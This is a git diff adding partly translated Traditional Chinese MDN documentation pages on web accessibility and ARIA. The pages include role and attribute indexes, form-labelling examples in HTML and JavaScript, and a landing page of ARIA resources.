825 files changed, 140719 insertions, 0 deletions

diff --git a/files/zh-tw/web/accessibility/aria/aria_techniques/index.html b/files/zh-tw/web/accessibility/aria/aria_techniques/index.html
new file mode 100644
index 0000000000..502a808e1d
--- /dev/null
+++ b/files/zh-tw/web/accessibility/aria/aria_techniques/index.html
@@ -0,0 +1,164 @@
+---
+title: Using ARIA
+slug: Web/Accessibility/ARIA/ARIA_Techniques
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques
+---
+<p> </p>
+
+<h2 id="Roles（角色）">Roles（角色）</h2>
+
+<p> </p>
+
+<h3 id="Widget_roles_（局部組件）"><a href="/en/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_switch_role">Widget roles （局部組件）</a></h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role" title="Using the button role">Button （按鈕）</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_checkbox_role" title="Using the checkbox role">Checkbox （複選核取方塊）</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_dialog_role" title="Using the dialog role">Dialog （對話）</a></li>
+ <li>Gridcell （網格欄）</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role" title="Using the Link role">Link （超連結）</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role" title="Using the Log role">Log （紀錄）</a></li>
+ <li>Marquee</li>
+ <li>Menuitem</li>
+ <li>Menuitemcheckbox </li>
+ <li>Menuitemradio</li>
+ <li>Option</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="en/ARIA/ARIA_Techniques/Using_the_progressbar_role">Progressbar （進度條）</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radio （單選選項鈕）</a></li>
+ <li>Scrollbar</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="en/ARIA/ARIA_Techniques/Using_the_slider_role">Slider （滑軌控制鈕）</a></li>
+ <li>Spinbutton</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role" title="Using the link role">status （狀態）</a></li>
+ <li>Tab （頁籤）</li>
+ <li>Tabpanel （頁籤面板）</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="en/ARIA/ARIA_Techniques/Using_the_textbox_role">textbox （頁籤容器）</a></li>
+ <li>Timer （計時器）</li>
+ <li>Tooltip （提示）</li>
+ <li>Treeitem</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_switch_role">switch （開關）</a></li>
+</ul>
+</div>
+
+<h3 id="Composite_roles">Composite roles</h3>
+
+<p>下面的技術，描述了每個複合角色，以及他們的必要和可選的子角色。</p>
+
+<div class="index">
+<ul>
+ <li>Combobox （組合框）</li>
+ <li>Grid （網格）(包含 row （橫列）, gridcell （網格欄）, rowheader （橫列表頭）, columnheader （欄表頭） roles)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="en/ARIA/ARIA_Techniques/Using_the_listbox_role">Listbox  （列表框）</a> (包含 option role)</li>
+ <li>Menu （選單）</li>
+ <li>Menubar （選單條）</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radiogroup （單選選項群組） (see radio role)</a></li>
+ <li>Tablist （頁籤列表） (包含 tab 和 tabpanel roles)</li>
+ <li>Tree</li>
+ <li>Treegrid</li>
+</ul>
+</div>
+
+<h3 id="Document_structure_roles"><a href="https://www.w3.org/TR/wai-aria/roles#document_structure_roles">Document structure roles</a></h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role">Article</a></li>
+ <li>Definition</li>
+ <li>Directory</li>
+ <li>Document</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role" title="en/ARIA/ARIA_Techniques/Using_the_group_role">Group</a></li>
+ <li>Heading</li>
+ <li>Img</li>
+ <li>List</li>
+ <li>Listitem</li>
+ <li>Math</li>
+ <li>Note</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" title="en/ARIA/ARIA_Techniques/Using_the_presentation_role">Presentation</a></li>
+ <li>Region</li>
+ <li>Separator</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role" title="en/ARIA/ARIA_Techniques/Using_the_toolbar_role">Toolbar</a></li>
+</ul>
+</div>
+
+<h3 id="Landmark_roles"><a href="https://www.w3.org/TR/wai-aria/roles#landmark_roles">Landmark roles </a></h3>
+
+<div class="index">
+<ul>
+ <li>Application</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_banner_role" title="en/ARIA/ARIA_Techniques/Using_the_banner_role">Banner</a></li>
+ <li>Complementary</li>
+ <li>Contentinfo</li>
+ <li>Form</li>
+ <li>Main</li>
+ <li>Navigation</li>
+ <li>Search</li>
+</ul>
+</div>
+
+<h2 id="States_and_properties">States and properties</h2>
+
+<p> </p>
+
+<h3 id="Widget_attributes">Widget attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-autocomplete</li>
+ <li>aria-checked</li>
+ <li>aria-current</li>
+ <li>aria-disabled</li>
+ <li>aria-expanded</li>
+ <li>aria-haspopup</li>
+ <li>aria-hidden</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Using the aria-invalid attribute">aria-invalid</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="Using the aria-labelledby attribute">aria-label</a></li>
+ <li>aria-level</li>
+ <li>aria-multiline</li>
+ <li>aria-multiselectable</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute">aria-orientation</a></li>
+ <li>aria-pressed</li>
+ <li>aria-readonly</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute" title="Using the aria-required property">aria-required</a></li>
+ <li>aria-selected</li>
+ <li>aria-sort</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute" title="Using the aria-required attribute">aria-valuemax</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute">aria-valuemin</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute">aria-valuenow</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute">aria-valuetext</a></li>
+</ul>
+</div>
+
+<h3 id="Live_region_attributes">Live region attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-live</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute">aria-relevant</a></li>
+ <li>aria-atomic</li>
+ <li>aria-busy</li>
+</ul>
+</div>
+
+<h3 id="Drag_drop_attributes">Drag &amp; drop attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-dropeffect</li>
+ <li>aria-dragged</li>
+</ul>
+</div>
+
+<h3 id="Relationship_attributes">Relationship attributes</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-activedescendant_attribute" title="Role">aria-activedescendant</a></li>
+ <li>aria-controls</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="Using the aria-labelledby attribute">aria-describedby</a></li>
+ <li>aria-flowto</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></li>
+ <li>aria-owns</li>
+ <li>aria-posinset</li>
+ <li>aria-setsize</li>
+</ul>
+</div>
diff --git a/files/zh-tw/web/accessibility/aria/forms/basic_form_hints/index.html b/files/zh-tw/web/accessibility/aria/forms/basic_form_hints/index.html
new file mode 100644
index 0000000000..532911294d
--- /dev/null
+++ b/files/zh-tw/web/accessibility/aria/forms/basic_form_hints/index.html
@@ -0,0 +1,119 @@
+---
+title: 基本表單應用
+slug: Web/Accessibility/ARIA/forms/Basic_form_hints
+tags:
+  - 待翻譯
+translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints
+---
+<h2 id="Form_labels" name="Form_labels">表單的 label</h2>
+
+<p>當使用傳統的 HTML 表單元素建立表單時，提供控制用的標籤（label）以及將標籤與對應表單元素建立關聯是非常重要的。當 screen reader （例如瀏覽器、電子郵件……等等）瀏覽一個頁面時，screen reader 會顯示 form controls ，但若沒有標示 control 和 label 之間的關聯，  screen reader 沒法知道哪個 label 是對應哪個 control。</p>
+
+<p>下面的範例顯示一個使用標籤的表單。注意每一個 {{ HTMLElement("input") }} 元件都有 <strong><code>id</code></strong>，每一個 {{ HTMLElement("label") }} 元件有 <strong><code>for </code></strong>屬性，用來對應 {{ HTMLElement("input") }} 元素的<strong> </strong><strong><code>id</code></strong> 。</p>
+
+<p><em>範例 1. 使用 label 的簡易表單</em></p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;input id="wine-1" type="checkbox" value="riesling"/&gt;
+      &lt;label for="wine-1"&gt;Berg Rottland Riesling&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="wine-2" type="checkbox" value="weissbergunder"/&gt;
+      &lt;label for="wine-2"&gt;Weissbergunder&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="wine-3" type="checkbox" value="pinot-grigio"/&gt;
+      &lt;label for="wine-3"&gt;Pinot Grigio&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="wine-4" type="checkbox" value="gewurztraminer"/&gt;
+      &lt;label for="wine-4"&gt;Berg Rottland Riesling&lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Labeling_with_ARIA" name="Labeling_with_ARIA">使用 ARIA 標籤</h2>
+
+<p>HTML 的 {{ HTMLElement("label") }} 元素適用於表單相關元素 , 但是許多表單控件被實現為動態JavaScript小部件 , 使用 {{ HTMLElement("div") }} 或 {{ HTMLElement("span") }}。 <a href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a> , 來自 W3C 的網路無障礙計畫 ( <a href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a> ) 的<strong>無障礙互聯網應用程序</strong>規範 ( <strong>Accessible Rich Internet Applications</strong> specification ) , 為這些情況提供了 <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby"><strong>aria-labelledby</strong></a></code> 屬性。</p>
+
+<p>下面的範例顯示使用無序列表 ( unordered list ) 實現的單選按鈕組 ( radio button group )。注意程式碼第三行 , {{ HTMLElement("li") }} 元素將 <code><strong>aria-labelledby</strong></code> 屬性設置為 <code>"rg1_label"</code> , 在第一行中元素 {{ HTMLElement("h3") }} 的 <strong><code>id</code> </strong>, 即單選按鈕組的標籤。</p>
+
+<p><em>範例 2. </em>使用無序列表實現的單選按鈕組<em> ( 改編自 <a href="http://www.oaa-accessibility.org/examplep/radio1/">http://www.oaa-accessibility.org/examplep/radio1/</a>)</em></p>
+
+<pre class="brush: html">&lt;h3 id="rg1_label"&gt;Lunch Options&lt;/h3&gt;
+
+&lt;ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="rg1_label"&gt;
+  &lt;li id="r1"  tabindex="-1" role="radio" aria-checked="false"&gt;
+    &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Thai
+  &lt;/li&gt;
+  &lt;li id="r2"  tabindex="-1" role="radio"  aria-checked="false"&gt;
+    &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Subway
+  &lt;/li&gt;
+  &lt;li id="r3"   tabindex="0" role="radio" aria-checked="true"&gt;
+    &lt;img role="presentation" src="radio-checked.gif" /&gt; Radio Maria
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Describing_with_ARIA" name="Describing_with_ARIA">Describing with ARIA</h2>
+
+<p>Form controls sometimes have a description associated with them, in addition to the label. ARIA provides the <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby"><strong>aria-describedby</strong></a> attribute to directly associate the description with the control.</p>
+
+<p>The example below shows a {{ HTMLElement("button") }} element that is described by a sentence in a separate {{ HTMLElement("div") }} element. The <strong>aria-describedby</strong> attribute on the {{ HTMLElement("button") }} references the <strong>id</strong> of the {{ HTMLElement("div") }}.</p>
+
+<p><em>Example 3. A button described by a separate element.</em></p>
+
+<pre class="brush: html">&lt;button aria-describedby="descriptionRevert"&gt;Revert&lt;/button&gt;
+&lt;div id="descriptionRevert"&gt;Reverting will undo any changes that have been made
+                            since the last save.&lt;/div&gt;</pre>
+
+<p>(Note that the <strong>aria-describedby</strong> attribute is used for other purposes, in addition to form controls.)</p>
+
+<h2 id="Required_and_invalid_fields" name="Required_and_invalid_fields">Required and invalid fields</h2>
+
+<p>Web developers typically use presentational strategies to indicated required or invalid fields, but assistive technologies (ATs) cannot necessarily infer this information from the presentation. ARIA provides attributes for indicating that form controls are required or invalid:</p>
+
+<ul>
+ <li>The <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required"><strong>aria-required</strong></a> property can be applied to a form element to indicate to an AT that it is required to complete the form.</li>
+ <li>The <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid"><strong>aria-invalid</strong></a> state can be programmatically applied to indicate to an AT which data fields have incorrect data, so that the user knows they have entered invalid data.</li>
+</ul>
+
+<p>The example below shows a simple form with three fields. On lines 4 and 12, the <strong>aria-required</strong> attributes are set to true (in addition to the asterisks next to the labels) indicating that the name and email fields are required. The second part of the example is a snippet of JavaScript that validates the email format and sets the <strong>aria-invalid</strong> attribute of the email field (line 12 of the HTML) according to the result (in addition to changing the presentation of the element).</p>
+
+<p><em>Example 4a. A form with required fields.</em></p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="name"&gt;* Name:&lt;/label&gt;
+    &lt;input type="text" value="name" id="name" aria-required="true"/&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="phone"&gt;Phone:&lt;/label&gt;
+    &lt;input type="text" value="phone" id="phone" aria-required="false"/&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="email"&gt;* E-mail:&lt;/label&gt;
+    &lt;input type="text" value="email" id="email" aria-required="true"/&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p><em>Example 4b. Part of a script that validates the form entry.</em></p>
+
+<pre class="brush: js">var validate = function () {
+  var emailElement = document.getElementById(emailFieldId);
+  var valid = emailValid(formData.email); // returns true if valid, false otherwise
+
+  emailElement.setAttribute("aria-invalid", !valid);
+  setElementBorderColour(emailElement, valid); // sets the border to red if second arg is false
+};</pre>
+
+<h2 id="Providing_Helpful_Error_Messages" name="Providing_Helpful_Error_Messages">提供有幫助的錯誤訊息</h2>
+
+<p>繼續閱讀了解如何使用 <a href="/en-US/docs/aria/forms/alerts" title="aria/forms/alerts">ARIA alerts to enhance forms</a>.</p>
+
+<div class="note">TBD: we should either combine into one article or separate into techniques, or both. Also, is ARIA markup appropriate for error messages in a page loaded after server side validation?</div>
+
+<p>參閱 <a href="http://www.w3.org/TR/wai-aria-practices/" title="http://www.w3.org/TR/wai-aria-practices/">WAI-ARIA Authoring Practices</a> .</p>
diff --git a/files/zh-tw/web/accessibility/aria/forms/index.html b/files/zh-tw/web/accessibility/aria/forms/index.html
new file mode 100644
index 0000000000..ca529d1b1e
--- /dev/null
+++ b/files/zh-tw/web/accessibility/aria/forms/index.html
@@ -0,0 +1,19 @@
+---
+title: Forms
+slug: Web/Accessibility/ARIA/forms
+tags:
+  - ARIA
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Accessibility/ARIA/forms
+---
+<p>下列連結提供多種技術的資訊來處進網頁表格的存取:</p>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/Basic_form_hints">基本表格提示</a>:增加對於無效以及需使用的區域進行提示以及描述</li>
+ <li><a href="/en/Accessibility/ARIA/forms/alerts">警戒</a>:透過警戒功能顯示錯誤訊息於用戶端</li>
+ <li><a href="/en/Accessibility/ARIA/forms/Multipart_labels">多元件標籤</a>:啟動複雜表格標籤使表格可任意變動</li>
+</ul>
+
+<p>透過<a class="external" href="http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html" title="http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html">Yahoo! article on form validation and ARIA</a>, 網頁的瀏覽可發現上面所列出的技術的實際應用.</p>
diff --git a/files/zh-tw/web/accessibility/aria/index.html b/files/zh-tw/web/accessibility/aria/index.html
new file mode 100644
index 0000000000..891695ab5a
--- /dev/null
+++ b/files/zh-tw/web/accessibility/aria/index.html
@@ -0,0 +1,142 @@
+---
+title: ARIA
+slug: Web/Accessibility/ARIA
+tags:
+  - ARIA
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Accessibility/ARIA
+---
+<p>Accessible Rich Internet Applications <strong>(ARIA)</strong> defines ways to make Web content and Web applications (especially those developed with Ajax and JavaScript) more accessible to people with disabilities. For example, ARIA enables accessible navigation landmarks, JavaScript widgets, form hints and error messages, live content updates, and more.</p>
+
+<p>ARIA is a set of special accessibility attributes which can be added to any markup, but is especially suited to HTML. The <code>role</code> attribute defines what the general type of object is (such as an article, alert, or slider). Additional ARIA attributes provide other useful properties, such as a description for a form or the current value of a progressbar.</p>
+
+<p>ARIA is implemented in most popular browsers and screen readers. However, implementations vary and older technologies don't support it well (if at all). Use either "safe" ARIA that degrades gracefully, or ask users to upgrade to newer technology.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Please contribute and make ARIA better for the next person! Not enough time? Send suggestions to Mozilla's <a href="https://lists.mozilla.org/listinfo/accessibility">accessibility mailing list</a>, or #accessibility <a href="https://wiki.mozilla.org/IRC">IRC channel</a>.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Documentation" name="Documentation">Getting Started with ARIA</h3>
+
+    <dl>
+     <dt><a href="/en-US/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets" title="An overview of accessible web applications and widgets">Introduction to ARIA</a></dt>
+     <dd>A quick introduction to making dynamic content accessible with ARIA. See also the classic <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/" title="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro by Gez Lemon</a>, from 2008.</dd>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/Web_applications_and_ARIA_FAQ" title="https://developer.mozilla.org/en-US/docs/Accessibility/Web_applications_and_ARIA_FAQ">Web Applications and ARIA FAQ</a></dt>
+     <dd>Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.</dd>
+     <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/" title="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">Videos of Screen Readers Using ARIA</a></dt>
+     <dd>See both real and simplfied examples from around the web, including "before" and "after" ARIA videos. </dd>
+     <dt><a class="external" href="http://w3c.github.io/aria-in-html/">Using ARIA in HTML</a></dt>
+     <dd>A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.</dd>
+    </dl>
+
+    <h3 id="Simple_ARIA_Enhancements">Simple ARIA Enhancements</h3>
+
+    <dl>
+     <dt><a class="external" href="http://www.paciellogroup.com/blog/2010/10/using-wai-aria-landmark-roles/" rel="external" title="http://www.paciellogroup.com/blog/2010/10/using-wai-aria-landmark-roles/">Enhancing Page Navigation with ARIA Landmarks</a></dt>
+     <dd>A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/" rel="external" title="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">See also, ARIA landmark implementation notes</a> and examples on real sites (updated as of July '11).</dd>
+     <dt><a href="/en-US/docs/ARIA/forms" rel="internal" title="/en-US/docs/ARIA/forms">Improving Form Accessibility</a></dt>
+     <dd>ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes. </dd>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">Live regions (work-in-progress)</a></dt>
+     <dd>Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.</dd>
+     <dt><a class="external" href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm" rel="external" title="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">Using ARIA Live Regions to Announce Content Changes</a></dt>
+     <dd>A quick summary of live regions, by the makers of JAWS screen reader software. Note that live regions are also supported by NVDA in Firefox, and VoiceOver with Safari (as of OS X Lion and iOS 5).</dd>
+    </dl>
+
+    <h3 id="ARIA_for_Scripted_Widgets">ARIA for Scripted Widgets</h3>
+
+    <dl>
+     <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Keyboard Navigation and Focus for JavaScript Widgets</a></dt>
+     <dd>The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/" title="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">Yahoo! focus management article</a> is a great resource as well.</dd>
+     <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/" title="http://dev.aol.com/dhtml_style_guide">Style Guide for Keyboard Navigation</a></dt>
+     <dd>A challenge with ARIA is getting developers to implement consistent behavior -- clearly best for users. This style guide describes the keyboard interface for common widgets.</dd>
+    </dl>
+
+    <h3 id="ARIA_Resources">ARIA Resources</h3>
+
+    <dl>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/widgets/overview" title="en-US/docs/aria/widgets/overview">Widget Techniques, Tutorials, and Examples</a></dt>
+     <dd>Need a slider, a menu, or another kind of widget? Find resources here.</dd>
+     <dt><a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">ARIA-Enabled JavaScript UI Libraries</a></dt>
+     <dd>If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 -- content should be moved to an MDN page where it can be updated.</dd>
+     <dt><a class="external" href="http://dl.dropbox.com/u/573324/CSUN2012/index.html" title="http://dl.dropbox.com/u/573324/CSUN2012/index.html">Accessibility of HTML5 and Rich Internet Applications - CSUN 2012 Workshop Materials</a></dt>
+     <dd>Includes slide presentations and examples.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Community" name="Community">Mailing List</h3>
+
+    <dl>
+     <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria" title="https://groups.google.com/forum/#!forum/free-aria">Free ARIA Google Group</a></dt>
+     <dd>A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.</dd>
+    </dl>
+
+    <h3 id="Community" name="Community">Blogs</h3>
+
+    <p>ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.</p>
+
+    <p><a class="external" href="http://www.paciellogroup.com/blog/category/wai-aria/" title="http://www.paciellogroup.com/blog/category/wai-aria/">Paciello Group</a></p>
+
+    <p><a class="external" href="http://www.accessibleculture.org/tag/wai-aria/" title="http://www.accessibleculture.org/tag/wai-aria/">Accessible Culture</a></p>
+
+    <h3 id="Filing_Bugs">Filing Bugs</h3>
+
+    <p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">File ARIA bugs on browsers, screen readers, and JavaScript libraries</a>.</p>
+
+    <h3 id="Examples">Examples</h3>
+
+    <dl>
+     <dt><a class="external" href="/en-US/docs/Accessibility/ARIA/ARIA_Test_Cases" title="en-US/docs/ARIA/examples">ARIA Examples Library</a></dt>
+     <dd>A set of barebones example files which are easy to learn from.</dd>
+     <dt><span class="external">Accessible JS Widget Library Demos</span></dt>
+     <dd><a class="external" href="http://dojotoolkit.org/widgets" title="http://dojotoolkit.org/widgets">Dojo</a>, <a class="external" href="http://hanshillen.github.com/jqtest/" title="http://hanshillen.github.com/jqtest/">jQuery</a>, <a class="external" href="http://wiki.fluidproject.org/display/fluid/Components" title="http://wiki.fluidproject.org/display/fluid/Components">Fluid</a>, <a class="external" href="http://yuilibrary.com/gallery/" title="http://yuilibrary.com/gallery/">YUI</a></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://mail.yahoo.com" title="http://mail.yahoo.com">Yahoo! Mail</a></dt>
+     <dd>Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/" title="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">review of Yahoo! Mail</a> by screen reader Marco Zehe says, "Keep up the good work!".</dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://search.yahoo.com" title="http://search.yahoo.com">Yahoo! Search</a></dt>
+     <dd>Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/" title="http://ycorpblog.com/2011/03/23/searchdirect/">sharing their techniques</a>. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.</dd>
+    </dl>
+
+    <h3 id="Standardization_Efforts">Standardization Efforts</h3>
+
+    <dl>
+     <dt><a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA Activities Overview at W3C</a></dt>
+     <dd>Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)</dd>
+     <dt><a class="external" href="http://www.w3.org/TR/wai-aria/" title="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></dt>
+     <dd>The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.</dd>
+     <dt><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/" title="http://www.w3.org/WAI/PF/aria-practices/">WAI-ARIA Authoring Practices</a></dt>
+     <dd>Like the W3C WAI-ARIA specification, the official best practices represents a future ideal -- a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.<br>
+     <br>
+     For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.</dd>
+     <dt><a class="external" href="http://www.openajax.org/member/wiki/Accessibility" title="http://www.openajax.org/member/wiki/Accessibility">Open AJAX Accessibility Task Force</a></dt>
+     <dd>The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.</dd>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="ARIA Techniques">Under Construction: WCAG 2.0 ARIA Techniques</a></dt>
+     <dd>The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is mostly important when regulations or policies are based on WCAG.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td colspan="2">
+    <h3 id="Related_Topics" name="Related_Topics">Related Topics</h3>
+
+    <dl>
+     <dd><a href="/en-US/docs/Accessibility" title="en-US/docs/Accessibility">Accessibility</a>, <a href="/en-US/docs/AJAX" title="en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/zh-tw/web/accessibility/index.html b/files/zh-tw/web/accessibility/index.html
new file mode 100644
index 0000000000..b8ed259ecf
--- /dev/null
+++ b/files/zh-tw/web/accessibility/index.html
@@ -0,0 +1,61 @@
+---
+title: 無障礙網頁
+slug: Web/Accessibility
+tags:
+  - Accessibility
+  - Advanced
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+translation_of: Web/Accessibility
+---
